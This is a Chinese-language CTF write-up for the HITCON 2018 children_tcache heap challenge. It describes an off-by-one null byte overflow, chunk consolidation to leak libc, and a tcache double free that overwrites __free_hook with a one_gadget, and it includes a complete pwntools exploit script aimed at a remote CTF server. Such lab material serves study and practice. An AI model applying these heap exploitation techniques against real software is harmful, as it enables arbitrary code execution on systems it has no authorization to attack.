hitcon_2018_children_tcache 修改chunk的pre_inuse位合并前面的chunk
系统的安全检查
这道题是纯看别人的wp的,所以这里只记录思路,exp到时候会自己在去复现一下,写出来的
安全检查
流程分析
add函数里面有一个null-by-one溢出,其他的都很正常
漏洞利用
- 通过申请chunk0,1,2其中1和2需要在tache外,也就是大于0x300,先把0和1释放掉
- 然后把chunk2的presize置为0
- 在申请一个跟chunk1大小一样的chunk使其覆盖chunk的presize为chunk0+chunk1并覆盖其pre_inuse位
- 释放chunk2,由于在unsorted bin中会直接合并,再申请一个chunk1大小的堆块,这时在show chunk1即可泄露libc
- 在劫持malloc_hook函数或者free_hook函数,然后在申请一个chunk称为3,这时候idx 0(chunk1)和chunk3都只向同一个chunk了
- double free 在劫持,即可
填坑时遇到的问题
- 在我第二次写的时候,我想覆盖chunk的pre_inuse位为0,可是不能覆盖,后面实在想不到了,看完wp后,突然明白他为什么要填0了,因为不这样填不进去,所以只能一个字节一个字节的填入
- 在我填入完后,我发现我不了解对chunk的合并操作,然后看wp发现这个我还是不懂,去wiki上看了,发现向低地址合并没有什么检查,只检查了pre_inuse位、
- 还有一个点main_arena偏移为0x3ebca0
我的错误理解:我一直以为保护是当前地址减去pre_size然后对比,是否相等
我看的师傅博客
第二次写的exp
from pwn import * #p=process('./HITCON_2018_children_tcache') p=remote('node3.buuoj.cn',28045) libc=ELF('../libc-2.27.so') def add(size,content): p.recvuntil('choice: ') p.sendline('1') p.recvuntil('Size:') p.sendline(str(size)) p.recvuntil('Data') p.sendline(content) def show(idx): p.recvuntil('choice: ') p.sendline('2') p.recvuntil('Index:') p.sendline(str(idx)) def delete(idx): p.recvuntil('choice: ') p.sendline('3') p.recvuntil('Index:') p.sendline(str(idx)) add(0x410,'p'*0x419) #0 add(0x88,'p') #1 add(0x4f0,'p') #2 add(0x10,'/bin/sh\x00') #3 delete(1) delete(0) for i in range(8): add(0x88-i,'p'*(0x88-i)) delete(0) add(0x88,'p'*0x80+p64(0x4b0)) #0 delete(2) add(0x410,'p'*0x419) #1 show(0) libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ebca0 free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] one_gadget = libc_base + 0x4f322 add(0x88,'p') #2 delete(0) delete(2) add(0x88,p64(free_hook)) add(0x88,p64(free_hook)) add(0x88,p64(one_gadget)) delete(3) #add(0x16,'/bin/sh\x00') #gdb.attach(p) p.interactive()
过几天再来看看,保护机制,对保护机制不熟悉,就是在浪费时间